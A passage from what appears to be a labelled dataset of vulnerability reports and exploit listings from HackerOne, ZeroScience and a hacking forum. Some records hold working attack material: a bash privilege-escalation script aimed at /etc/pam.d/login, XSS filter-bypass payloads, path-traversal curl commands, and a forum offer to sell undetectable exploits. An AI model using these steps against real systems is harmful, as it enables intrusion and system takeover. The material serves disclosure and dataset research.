``.\n\nFirst, there's two vulnerabilities in the source path validation: the check is racy, there's no symlink check.\n\n## 1. Race condition\n\nSince now the privileged helper (user=root) only accepts XPC request from 'admin' group, The path `/Application/Keybase.app` is often writable. So I think that race condition is possible between (1) and (2).\n\n```objc\n(1) [self validate:sourcePath completion:^(NSError *error) {\n if (error) {\n completion(error);\n return;\n }\n\n DDLogInfo(@\"Copying app bundle %@ to %@\", sourcePath, destinationPath);\n NSDictionary *params = @{@\"source\": sourcePath, @\"destination\": destinationPath};\n(2) [self.helperTool.helper sendRequest:@\"move\" params:@[params] completion:^(NSError *error, id value) {\n```\n\nSuccessful exploitation will bypass the source check. I skipped writing PoC code since the race window is bit narrow.\n\n## 2. No symbolic link check\n\nIf source path is symbolic link to /Application/Keybase.app, the check is bypassed. Attacker can make a symbolic link like this:\n\n/tmp/A -> /tmp/B -> /Application/Keybase.app\n\nBecause the helper uses `NSFileManager::moveItemAtPath`, the symbolic link itself is copied. Copying /tmp/A causes destination path to be a symbolic link to /tmp/B, and further it can be modified to our file.\n\n## 3. Missing check for destination\n\nSecond, there's no check for the destination path, which is passed from `--app-path` parameter. This makes the admin to overwrite any file or folder like `/etc`.\n\nCombining 2, 3, user can overwrite any files to point the writable path.\n\n```bash\n#!/bin/bash\n\nexport APP=/Applications/Keybase.app\nexport INSTALLER=$APP/Contents/Resources/KeybaseInstaller.app/Contents/MacOS/Keybase\n\nexport A=/tmp/_$RANDOM\nexport B=/tmp/_$RANDOM\n\n# This script does `ln -sf /tmp/$R $DEST` in root permission\nexport DEST=/etc/pam.d/login\n\nrm -rf $A $B\nln -s $APP $B\nln -s $B $A\n\n$INSTALLER --run-mode=prod --app-path=$DEST --timeout=8 --install-app-bundle --source-path=$A --debug\n\n# Now $DEST -> /tmp/$B (symlink)\n# replace /tmp/$B to own contents\nrm -rf /tmp/$B\n\ncat > /tmp/$B <\n\t\nFlash reads in these variables via a special variable: root.loaderInfo.parameters\n\nThe intended solution is that they tried to filter out if query string parameters were passed along in the request by checking for them and if the were passed to delete them.\n \n\tfor(key in params)\n\t{\n\t\t\tif(query.hasOwnProperty(Utils.trim(key)))\n\t\t{\n\t\t\tdelete params[key];\n\t\t}\n\t}\n\n\nThe trick is that Flash will filter and non valid url encoded variables from a string, so %00-%FF are valid ascii encoded strings, a = %61 b = %62 etc\nI tricked the system with the variable passed \"?debugEnabled=true\" normally would be filtered, but with debugEn%xabled=true, the %x is a non valid hex string :) Since Hex counts from 0-F There is no valid %x.\n\nMay you be well on your side of the screen :)\n\n-Eric\n\nAlso vulnerable:", "source": "hackerone", "timestamp": "2020-03-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "df48fdcbc280f039b440", "text": "[Heap Overflow] [CVE-2020-10543] Buffer overflow caused by a crafted regular expression\n\nCVE ID: CVE-2020-10543\nSee:\n + https://metacpan.org/pod/release/XSAWYERX/perl-5.30.3/pod/perldelta.pod\n + https://metacpan.org/pod/release/XSAWYERX/perl-5.28.3/pod/perldelta.pod\n\n## Impact\n\nPotential RCE", "source": "hackerone", "timestamp": "2020-11-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "52105c99f534cd8477a5", "text": "[Memory Corruption - Generic] Memory Corruption in During Deserialized-object Destruction\n\nThe bug report at: https://bugs.php.net/bug.php?id=73052\nThe fix commit at: https://github.com/php/php-src/commit/6a7cc8ff85827fa9ac715b3a83c2d9147f33cd43", "source": "hackerone", "timestamp": "2019-10-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3f8cde94a42edc4180f8", "text": "[Unknown] Не уверен, что этому место на периметре: 94.100.180.95, 94.100.180.96, 94.100.180.97, 94.100.180.98\n\nТам торчит вебка Elastisearch, явно для внутренних нужд.", "source": "hackerone", "timestamp": "2015-09-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "dad02320763218026f7f", "text": "Operation Technology ETAP 14.1.0 Multiple Stack Buffer Overrun Vulnerabilities\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-05-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9d616de35d0d30436690", "text": "[Reddit Darknet Markets] AlphaBay deposit not showing up\n\nWe out-commented that AM rule a while back, you can freely tell someone 'to PM' you nowadays.", "source": "gayanku", "timestamp": "2015-08-30", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b8bb6996bebddcf50995", "text": "Cannonbolt Portfolio Manager v1.0 Stored XSS and SQL Injection Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-09-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "555fe1a07fc2eea88811", "text": "[Unknown] Invalid Email Verification\n\nURL: https://app.legalrobot.com/sign-in\nEmail verification is not proper in register page. for ex. john.smith@example.org this is the valid format but john*smith@example.org is also acceptable during registration.\n\nThanks and regards,\nPrathamesh", "source": "hackerone", "timestamp": "2017-08-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "a7a16f8d110ebde7be1c", "text": "[Cryptographic Issues - Generic] Padding oracle in AES-NI CBC MAC check (CVE-2016-2107)\n\nAdvisory: https://www.openssl.org/news/secadv/20160503.txt\nWriteup (Referencing a proof of concept): http://web-in-security.blogspot.de/2016/05/curious-padding-oracle-in-openssl-cve.html", "source": "hackerone", "timestamp": "2016-05-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ac1ad979df3ccf7df17e", "text": "[Information Disclosure] Users contents on AWS is cacheable\n\nHi , \n\nBackground \n=============================\nAs I know you are using AWS S3 for saving and serving files . \nThe AWS S3 on https://hackerone-attachments.s3.amazonaws.com are been called every time to show images on hackerone.com . \n\nFor example view this report #145392 \nYou will see a request for Frans screenshot like this \n\n**Request**\n\n```\nhttps://hackerone-attachments.s3.amazonaws.com/production/000/099/965/94e13ba212b589eca016a39b56ac71ad5a058f1c/Screen_Shot_2016-06-17_at_15.18.36.png?AWSAccessKeyId=AKIAJFXIS7KJADBA4QQA&Expires=1472061826&Signature=CYZi6ZdC2xc4C8G4OpMhmccbKvs%3D\n\nHost: hackerone-attachments.s3.amazonaws.com\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: https://hackerone.com/\nConnection: keep-alive\nIf-Modified-Since: *\n\n```\n\n**Response** \n\n\n```\nHTTP/1.1 200 OK\nx-amz-id-2: h01s331e54/8lHWaUmHtduvLcIDoriZs9c2dwmfd3kcWxNM9EsqUogYMZYSIa1js84RUtiLifaI=\nx-amz-request-id: D8B3214210BC4461\nDate: Wed, 24 Aug 2016 17:03:49 GMT\nLast-Modified: Fri, 17 Jun 2016 13:18:46 GMT\nEtag: \"ccae076033025b6bdcfdc5df6aed64cd\"\nx-amz-server-side-encryption: AES256\nContent-Disposition: attachment; filename=\"\"\nAccept-Ranges: bytes\nContent-Type: image/png\nContent-Length: 9710\nServer: AmazonS3\n\n```\n\n---------- \n\n\nThe response doesn't give any header to control **cache** and when no cache header is set the browsers behavior will automatically store a local cached copy of file received from AWS . So this content could be retrieved by other users who have access to the same computer . \n\nThere are two affected uses : \n\n* Photos : because when you use {} to include image or you upload it and open it from attachments you will make the request and local copy of it will be stored without user knowledge . \n\n* Other files (e.g:video,xml,txt...etc.) : when you download file a copy of it will be stored in cache without user knowledge too. Now this isn't an **usability** event why you cache a file that you will download ?! \n \nThe cache files can be found here :\n\n* Mozilla Firefox:\nUnix/Linux: ~/.mozilla/firefox//Cache/\nWindows: C:\\Documents and Settings\\Local Settings\\Application\nData\\Mozilla\\Firefox\\Profiles\\Cache\n\n* Internet Explorer:\nC:\\Documents and Settings\\Local Settings\\Temporary Internet Files\n\n--------------------\nTools \n=============\n\n* Tools for view cache files :\n * FF : http://www.nirsoft.net/utils/mozilla_cache_viewer.html \n * Chrome : http://www.nirsoft.net/utils/chrome_cache_view.html \n * FF plugin (not recommended ): https://addons.mozilla.org/en-US/firefox/addon/cacheviewer2/?src=api\n \n\nI viewed Frans report using Firefox and the cache viewer got the image I can view it and see the HTTP header \n\n{F114668}\n\nConclusion \n==================\nThe Images stored just by view it . It is n't a secure practice . \n\n\nScenario \n==================\n**1-** User view his report in public,friend,company computer will store screen shots and the files he will download and delete it will be stored in cache and can be viewed . \n**2-** Member in a team views reports in public,friend,company computer will store screen shots and the files he will download and delete it will be stored in cache and can be viewed . \n\n\nFix \n=============\nYou should set :\n\n* Cache-Control: no-cache, no-store\n* Expires: 0\n* Pragma: no-cache\n\nOr minimize cache time because it will be stored there forever . \n\nRef\n============\n\n1- https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9\n2- https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006) \n \n\n\nThanks for read all of this I am waiting your replay\n\nBR", "source": "hackerone", "timestamp": "2016-09-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "37080090f10ea031f3c2", "text": "Express Burn Plus v4.58 EBP Project File Handling Buffer Overflow PoC\n\nSeverity: high", "source": "zeroscience", "timestamp": "2012-08-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c16699724bffc9841d47", "text": "[Classic Buffer Overflow] Buffer Overflow in smblib.c\n\n## Summary:\n\nIn Squid 4.8, a local buffer overflow vulnerability exists in the \nSmb_Connect() and Smb_Connect_Server() functions of Squid's smblib.c, in which an attacker can achieve code execution that can result in the disclosure of credential hashes. The cause of this overflow is due to the SMB domain controller names being passed down from user input and eventually into an array without performing appropriate bounds checking on said array.\n\nI submitted a patch, which was accepted and merged, which can be found here: \nhttps://github.com/squid-cache/squid/pull/494\n\n## Disclosure Timeline\n15/10/19 - Initial discovery and disclosure to the Squid team via squid-bugs private email list\n16/10/19 - Acknowledgement of the vulnerability by the Squid team\n17/10/19 - I volunteered to fix the issue, and create a pull request on Github (See above link)\n17-19/10/19 - The fix was reviewed, accepted, then merged (Fix is also backported to older Squid Versions)\n23/10/19 - CVE-2019-18353 assigned\n\n## To Note\nDue to the fact that this is a local (as opposed to remote) overflow, and used primarily by squid auth helpers for downgrading (As pointed out by a member of the squid team when he said an advisory would not be released because of the 'nature' of what the squid helpers are doing); I am setting the severity as medium and not expectant for a bounty.\n\n## Impact\n\nCode execution resulting in the retrieval of credential hashes", "source": "hackerone", "timestamp": "2021-07-28", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "53940ad31f75174ecbcd", "text": "up.time 7.5.0 Superadmin Privilege Escalation Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2015-08-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "0d3bc4f0fa79d616246f", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS on 1.4.0\n\n## Summary:\nThe hacker (AppleBois) on Jun 19, 2020 has raise this Stored Stored Cross Site Scripting on GitHub and it has fixed on Jul 7, 2020. The hacker now raise the issue to Hackerone. Furthermore, this issue can now tracked under CVE-2020-17551.\n\n## ImpressCMS branch :\n[1.4.0 ]\n\n## Steps To Reproduce:\n 1. Navigate to modules/system/admin.php?fct=adsense&op=mod&adsenseid=4\n 2. Look for the Textbar `\"ID of the [adsense tag to display this ad]\"`\n 3. Input XSS PAYLOAD ``\n\n 1. Navigate to /modules/system/admin.php?fct=customtag&op=mod\n 2. Look for the Textbar `\"Name\"`\n 3. Input XSS PAYLOAD ``\n\n## Suggestions to mitigate or resolve the issue:\n1 . Filter input on arrival. At the point where user input is received, filter as strictly as possible based on what is expected or valid input.\n2 . Encode data on output. At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.\n\n Additional Reference\nhttps://github.com/ImpressCMS/impresscms/issues/659\nhttps://medium.com/@tehwinsam/impresscms-1-4-0-3aaf1825e6d5\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-17551\nhttps://www.impresscms.org/modules/news/article.php?article_id=1034&title=impresscms-1-4-1-security-and-maintenance-release\n\n## Impact\n\nThe impact of XSS, it could allow an attacker to execute malicious JavaScript so that the Cookies can send to attacker web via GET Method which could turn into account hijacking", "source": "hackerone", "timestamp": "2021-12-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "098a63d0be4323a0d806", "text": "[Unknown] [Java] CWE-295 - Incorrect Hostname Verification - MitM\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2020-07-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "4be6d5b34631d6c184dc", "text": "Microweber v1.0.3 File Upload Filter Bypass Remote PHP Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2015-08-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "8005cb46adf2cb8aa5c1", "text": "[Improper Certificate Validation] curl successfully matches IP address literal in URL against IP address literal in certificate Common Name\n\n## Summary:\nA user may invoke the curl command line utility with an IP address literal in the URL, such as\n\n https://192.168.124.2/...\n\nIf the HTTPS server presents a certificate whose Common Name matches this IP address literal as a *string* (that is, Common Name is the ASCII string `192.168.124.2`), then curl accepts the certificate (assuming it is properly signed by a trusted CA).\n\nThis is wrong. Per [RFC-2818, section *3.1. Server Identity*](https://tools.ietf.org/html/rfc2818#section-3.1):\n\n In some cases, the URI is specified as an IP address rather than a\n hostname. In this case, the iPAddress subjectAltName must be present\n in the certificate and must exactly match the IP in the URI.\n\nThat is, if the user-specified URL contains an IPv4 or IPv6 address literal, then the server certificate may only match the URL if the certificate contains the same *numeric* IP address in the *SAN*, as a `GEN_IP` entry.\n\nCurl should first attempt `X509_VERIFY_PARAM_set_ip_asc()`, and call `X509_VERIFY_PARAM_set1_host()` only if the former fails.\n\n## Steps To Reproduce:\n\n 1. Generate a new certificate request, for example with the [`genkey` utility](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/system_administrators_guide/ch-web_servers#s3-apache-mod_ssl-genkey), specifying the server's IPv4 or IPv6 address on the command line / in the Common Name field. (My `genkey` is from `crypto-utils-2.4.1-42.el7.x86_64`.)\n 1. Sign the certificate request with a local CA such that `curl` trust the local CA.\n 1. Configure Apache's `mod_ssl` such that it listen on the IPv4 or IPv6 address in question.\n 1. Fetch an URI with curl from the web server, using the `https` scheme, and the IP address.\n 1. Curl accepts the certificate.\n\n## Supporting Material/References:\nThis issue with curl popped up while discussing the edk2 patch series mitigating CVE-2019-14553:\n\nhttps://bugzilla.tianocore.org/show_bug.cgi?id=960\nhttp://mid.mail-archive.com/20190927034441.3096-1-Jiaxin.wu@intel.com\n\n## Impact\n\nI'm not sure this problem can be used for an *attack*. It's just that string representations of IP addresses are not unique. URL to Subject Name matching should use canonical representations only.", "source": "hackerone", "timestamp": "2021-01-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "013275863c0a62b74916", "text": "Carlo Gavazzi SmartHouse Webapp 6.5.33 CSRF/XSS Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-11-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "246bf01dac978a25b823", "text": "Oracle MySQL Eventum 2.3 Remote Script Insertion Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-02-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "1944098e66ea04d57d03", "text": "[Unknown] CodeQL query to detect SSRF in Python\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2020-12-23", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "53348eb85d9fb367682b", "text": "BEWARD N100 H.264 VGA IP Camera M2.1.6 CSRF Add Admin Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-02-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f9f143b8b79cd4aedd32", "text": "[Cross-site Scripting (XSS) - DOM] self-xss with ClickJacking can leads to account takeover in Firefox\n\n# Description\n\n\nHi, i think i found a valid chaining issues here\n\n## ClickJacking issue\n\nI discovered that have some endpoints that permits to frame imgur.com with some limitations, but even in this case, it is possible to carry out a proof of concept.\n\nOne of the cases is in the `/all/` directory of `user.imgur.com`, but in these cases we would be able to make the vulnerability only for a specific user and we would need to fix his subdomain.\n\nThe other case is when we enter the embed page of an image, such as `/a/IMAGE_ID/embed`, when we request a page like this, we are usually given the following result:\n\n\nHowever, by adding a `/embed` it is possible to open the imgur.com page where the image is located next to the full post, this allows us to access the main domain menu without being blocked by`X-Frame-Options`.\n\nI'm not sure how `X-Frame-Options` is really acting on this web app, but I'm sure it shouldn't be allowed!\n\nex:\n\n```\n\n```\n\n## DOM-Based Self-XSS \nThere is a self-xss specifically when uploading an image in the beta version of the upload, it is available using Firefox (I couldn't find it in Chrome or Safari) I don't know exactly where XSS happens, but I managed to bypass his rule with the following payload:\n\n`<iframe src=javajavascriptscript:alert(document.domain)>`\n\n\n\n## frame counting\n\nI realized that there is a big difference in frames on some pages, especially on the upload? Beta page in relation to the others, because on most other pages we have at least more than 3 frames, while on the upload? Beta page we have only 1 frame, and this helped me because I was able to detect the movement I wanted inside an iframe.\n\nWith that, when we are framing `/ a / IMAGE_ID / embed / embed` I know that there is more than one frame on the page, and when I click to enter the upload? Beta, the iframe will have only one frame inside so I get to know which page the user is on.\n\nex:\n\n```\n\n\n```\n\n## clipboard trick\n\nI used the `navigator.clipboard.writeText()` API so that I can write a text on the victim's clipboard, making this text the Self-XSS payload.\n\nHowever, the user needs to allow the use of the clipboard API on the page, to allow this use, a message will appear in the top corner of the browser, asking if you allow it or not, of course in this case, we are thinking of a scenario where the user allows this utility.\n\nex:\n\n```\n\n```\n\n\n## saved passwords in firefox\n\nThere is the possibility that the user has saved the password in the browser, and when that happens, in firefox the password is recorded in the input, so in this case it is possible to make an account takeover in the imgur account. On the other hand, when it doesn't, it is still possible to do XSS.\n\n\n# PoC code\n\n```\n\n\n \n \n PoC\n \n \n \n\n ", "source": "hackerone", "timestamp": "2020-11-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b498101aaedffe037b7f", "text": "[Information Disclosure] Multiple issues in Libxml2 (2.9.2 - 2.9.5)\n\nLibxml2 is the XML C parser and toolkit developed for the Gnome project. Due to its flexible C implementation and continuous development, Libxml2 is known to be very portable, the library builds and works on a variety of systems (Linux, Unix, Windows, CygWin, MacOS, MacOS X, RISC Os, OS/2, VMS, QNX, MVS, VxWorks, ...). It is or has been adopted by many major vendors or products including Google (Chrome), VMWare, Apple (Safari, Mac OSX, iOS, ...), and many embedded systems. As in the [Google Patch Rewards](https://www.google.com.sg/about/appsecurity/patch-rewards) , Libxml2 is listed in the category of core infrastructure data parsers.\n\nFrom 2015-2016, our fuzzing work on Libxml2 has systematically identified a sequence of bugs including use-after-free, out-of-bound read, infinite recursions, they are submitted to both Libxml2 and Apple (which internally maintains a highly-synchronized branch of the official Libxml2), some of the bugs are resolved in recent releases, including the following:\n\nCredited in both Libxml2-2.9.4 and Apple iOS 9.3.2 / OSX 10.11.5:\n\nhttps://support.apple.com/en-sg/HT206568\n\nCVE-2016-1835: Libxml2 Use-after-Free in xmlSAX2AttributeNs \nhttps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-1835\nhttps://bugzilla.gnome.org/show_bug.cgi?id=759020\n\nCVE-2016-1836: Libxml2 Use-after-Free in xmlParseNCNameComplex \nhttps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-1836\nhttps://bugzilla.gnome.org/show_bug.cgi?id=759398\n\nCVE-2016-1837: Libxml2 Use-after-Free in htmlParsePubidLiteral / htmlParseSystemLiteral \nhttps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-1837\nhttps://bugzilla.gnome.org/show_bug.cgi?id=760263\n\nCredited in Apple iOS 9.2 / OSX 10.11.2, and (silently) fixed in Libxml2-2.9.3:\n\nhttps://support.apple.com/en-sg/HT205635\n\nCVE-2016-7115: Libxml2 xmlParseNCNameComplex OOB Read \nhttps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-7115\n\nCVE-2016-7116: Libxml2 xmlParseTryOrFinish OOB Read \nhttps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-7116\n\nAnd a few others:\nhttps://support.apple.com/en-sg/HT206902\nhttps://support.apple.com/en-sg/HT206167\n\n[CVE-2016-1762](https://nvd.nist.gov/vuln/detail/CVE-2016-1762): Libxml2 xmlParseInternalSubset Out-of-Bound Read Vulnerability (iOS/OSX) \nhttps://bugzilla.gnome.org/show_bug.cgi?id=759671\n\n[CVE-2016-4447](https://nvd.nist.gov/vuln/detail/CVE-2016-4447): Libxml2 xmlParseElementDecl Out-of-Bound Read Vulnerability (iOS/OSX)\nhttps://bugzilla.gnome.org/show_bug.cgi?id=759573\n\nRecently in Libxml2 2.9.7:\n\n[CVE-2017-16931](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16931): Libxml2 xmlParseNameComplex Use-after-Free Vulnerability\nhttps://bugzilla.gnome.org/show_bug.cgi?id=766956\nhttps://github.com/GNOME/libxml2/commit/e26630548e7d138d2c560844c43820b6767251e3\n\n[CVE-2017-16932](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16932): Libxml2 Parameter Entity Infinite Recursion Vulnerability\nhttps://bugzilla.gnome.org/show_bug.cgi?id=759579\nhttps://github.com/GNOME/libxml2/commit/899a5d9f0ed13b8e32449a08a361e0de127dd961\n\nMuch efforts of patch work should be attributed to Daniel Veillard (Libxml2 developer), David Kilzer (Apple), Pranjal Jumde (Apple), Nick Wellnhofer and possibly others.\n\n## Impact\n\nExploitability subject to context, especially when the parser is exposed to external XML. In some situations if the XML engine is used in conjunction with a JS engine, exploitation could be easier.", "source": "hackerone", "timestamp": "2019-10-14", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "db1bd1dd6f78242765e2", "text": "Kemana Directory 1.5.6 kemana_admin_passwd Cookie User Password Hash Disclosure\n\nSeverity: low", "source": "zeroscience", "timestamp": "2014-03-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "274b9527bb2694328a11", "text": "V-SOL GPON/EPON OLT Platform v2.03 Cross-Site Request Forgery\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-09-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ee91995b0d8c2885358d", "text": "[Path Traversal] Path traversal on https://███ allows arbitrary file read (CVE-2020-3452)\n\n**Summary:**\nAccording to Cisco:\n\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system.\n\nThe vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.\n\nThe web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.\n\nAn advisory can be found at the following link: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86\n\n## Step-by-step Reproduction Instructions\n\n1. In bash, use `curl -k \"https://███████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\"` to prove you can read internal files such as the /+CSCOE+/portal_inc.lua file.\n2. Various internal files can be read, and some require using the --output command to output the binary data to a file as shown below:\n\n```\ncurl -k \"https://█████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/session.js&default-language&lang=../\" --output session.js\n```\n\n## Suggested Mitigation/Remediation Actions\nUpdate the software to the latest version via the Cisco advisory linked above.\n\n## Impact\n\nA successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.\n\nThe web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.", "source": "hackerone", "timestamp": "2020-08-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "14fbf45c80cd85fc2ff9", "text": "> (08-07-2014 07:45 PM)CriticalMatts Wrote:\n[►](http://www.hackforums.net/showthread.php?pid=41699445#pid41699445)Wow\nflash project sounds good, but you didn't answer my question, how long does\nthe FUD last? \nI mean, how long will the driveby, exploit, whatever I buy, will last FUD? \nLike 1 day or 1 week. \nAn average\n![Oui](http://x.hackforums.net/images/modern_bl/images/smilies/oui.gif)\n\n \nUsually a week. We plan on making it last up to 3 or 4 weeks. We're revamping\nthe project. Flash exploit will be more expensive due to being silent FUD.\nCVE-2014-0497 (Integer underflow in Adobe Flash Player before 11.7.700.261 and\n11.8.x through 12.0.x before\n[12.0.0.44](ipcheck.php?action=iplookup&ipaddress=12.0.0.44))", "source": "hackforums", "timestamp": "2014-08-07", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "cabb77ca2cf89706549c", "text": "[Cryptographic Issues - Generic] Fragmentation and Aggregation Flaws in Wi-Fi\n\nI discovered three design flaws in the Wi-Fi standard and widespread related implementation flaws ([see GitHub overview and test tool](https://github.com/vanhoefm/fragattacks#fragattacks-fragmentation--aggregation-attacks)). **Here I'll specifically cover open source software**. These findings have not received bug bounties from other sources.\n\n\n# Implementation flaws allowing trivial packet injection\n\n- [CVE-2020-26140](https://nvd.nist.gov/vuln/detail/CVE-2020-26140): Accepting plaintext data frames in a protected network. This allows trivial packet injection. On a Linux client, the AWUS036H network card is vulnerable and two out of four Linux-based **home routers** were vulnerable. On **NetBSD access points**, three out of four tested network cards were vulnerable, and on FreeBSD access points, the F5D8053 network card was vulnerable.\n\n- [CVE-2020-26143](https://nvd.nist.gov/vuln/detail/CVE-2020-26143): Accepting fragmented plaintext data frames in a protected network. This allows trivial packet injection. On a **Linux client**, 7 out of 16 network cards were vulnerable. On FreeBSD access points, two out of four tested network cards were vulnerable.\n\n- [CVE-2020-26145](https://nvd.nist.gov/vuln/detail/CVE-2020-26145): Accepting plaintext broadcast fragments as full frames. This allows trivial packet injection. All tested network cards on **NetBSD and FreeBSD access points** were vulnerable. On a Linux client, only the TWFM-B003D network card was vulnerable.\n\n- [CVE-2020-26144](https://nvd.nist.gov/vuln/detail/CVE-2020-26144): Accepting plaintext A-MSDU frames that start with an RFC1042 header with EtherType EAPOL. This allows trivial packet injection. On a Linux client, the AWUS036ACH and TWFM-B003D network cards were vulnerable. All 6 tested **FreeBSD** network cards were vulnerable (both as clients and access points).\n\n\n# Other implementation vulnerabilities\n\n- [CVE-2020-26139](https://nvd.nist.gov/vuln/detail/CVE-2020-26139): the access point forwards EAPOL frames even if the client isn't yet authenticated. This allows an adversary to perform the aggregation attack (see below) against any client by simply being within radio range (i.e. no social engineering needed). All **NetBSD and FreeBSD access points** were vulnerable, as were two out of four Linux-based home routers.\n\n- [CVE-2020-26146](https://nvd.nist.gov/vuln/detail/CVE-2020-26146): reassembling encrypted fragments with non-consecutive packet numbers. This can be abused to exfiltrate data, under the condition that another device sends fragmented frames. All tested open source Wi-Fi implementations were vulnerable (FreeBSD, NetBSD, FullMAC Linux drivers) except SoftMAC Linux drivers.\n\n- [CVE-2020-26147](https://nvd.nist.gov/vuln/detail/CVE-2020-26147): reassembling mixed encrypted/plaintext fragments. The impact ranges from data exfiltration to packet injection, under the condition that another device sends fragmented frames. All open source Wi-Fi implementations were vulnerable (Linux, FreeBSD, NetBSD, Linux, etc).\n\n- [CVE-2020-26142](https://nvd.nist.gov/vuln/detail/CVE-2020-26142): processing fragmented frames as full frames. This can be abused to inject packets, under the condition that the another device sends fragmented frames, and in most cases requires (minor) social engineering. Among open source platforms, only OpenBSD was vulnerable.\n\n- [CVE-2020-26141](https://nvd.nist.gov/vuln/detail/CVE-2020-26141): not verifying the TKIP MIC of fragmented frames. This can be abused to exfiltrate and inject packets in old WPA1 networks. On Linux, only the NWD6505 and AWUS036ACM network cards were vulnerable.\n\n\n# Design flaws\n\n1. [Aggregation Attack](https://www.fragattacks.com/#aggregationattack) (CVE-2020-24588): the A-MSDU flag in the plaintext Wi-Fi header is not authenticated. This can be abused, usually in combination with minor social engineering, to inject arbitrary packets to a victim. All 802.11n-compatible open source implementations were vulnerable (Linux, FreeBSD, OpenBSD", "source": "hackerone", "timestamp": "2021-07-23", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e1fc9cb3aeca2047c628", "text": "[Cross-Site Request Forgery (CSRF)] CSRF possible when SOP Bypass/UXSS is available\n\n**Description**\nIf an attacker could extract content from https://hackerone.com, they could perform CSRF attacks due to the fact that:\n1. Some pages prints the token in the HTML response (edit user form at https://hackerone.com/settings/profile/edit)\n2. Tokens aren't bound per action\n3. PATCH/DELETE can be sent via _method\n\nAttacker being allowed to read content but not execute JS could happen if:\n1. SOP Bypass in plugin (http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3115)\n2. SOP Bypass in application design (https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/)\n3. UXSS (https://blog.innerht.ml/ie-uxss/)\n\nCurrently, some mitigations are in place. _method isn't allowed in GET and the Origin header is checked. This isn't enough since FireFox and IE doesn't send Origin header when submitting forms.\n\n**Attack scenario**\nThe most recent (to my knowledge) SOP bypass was the re-implementation of the IE UXSS bug (https://blog.innerht.ml/ie-uxss/). This was working November 28th 2015. However, the bug required framing at least one resource, and HackerOne sends X-Frame-Options on all resources. Sadly, HackerOne uses CloudFlare so the URL 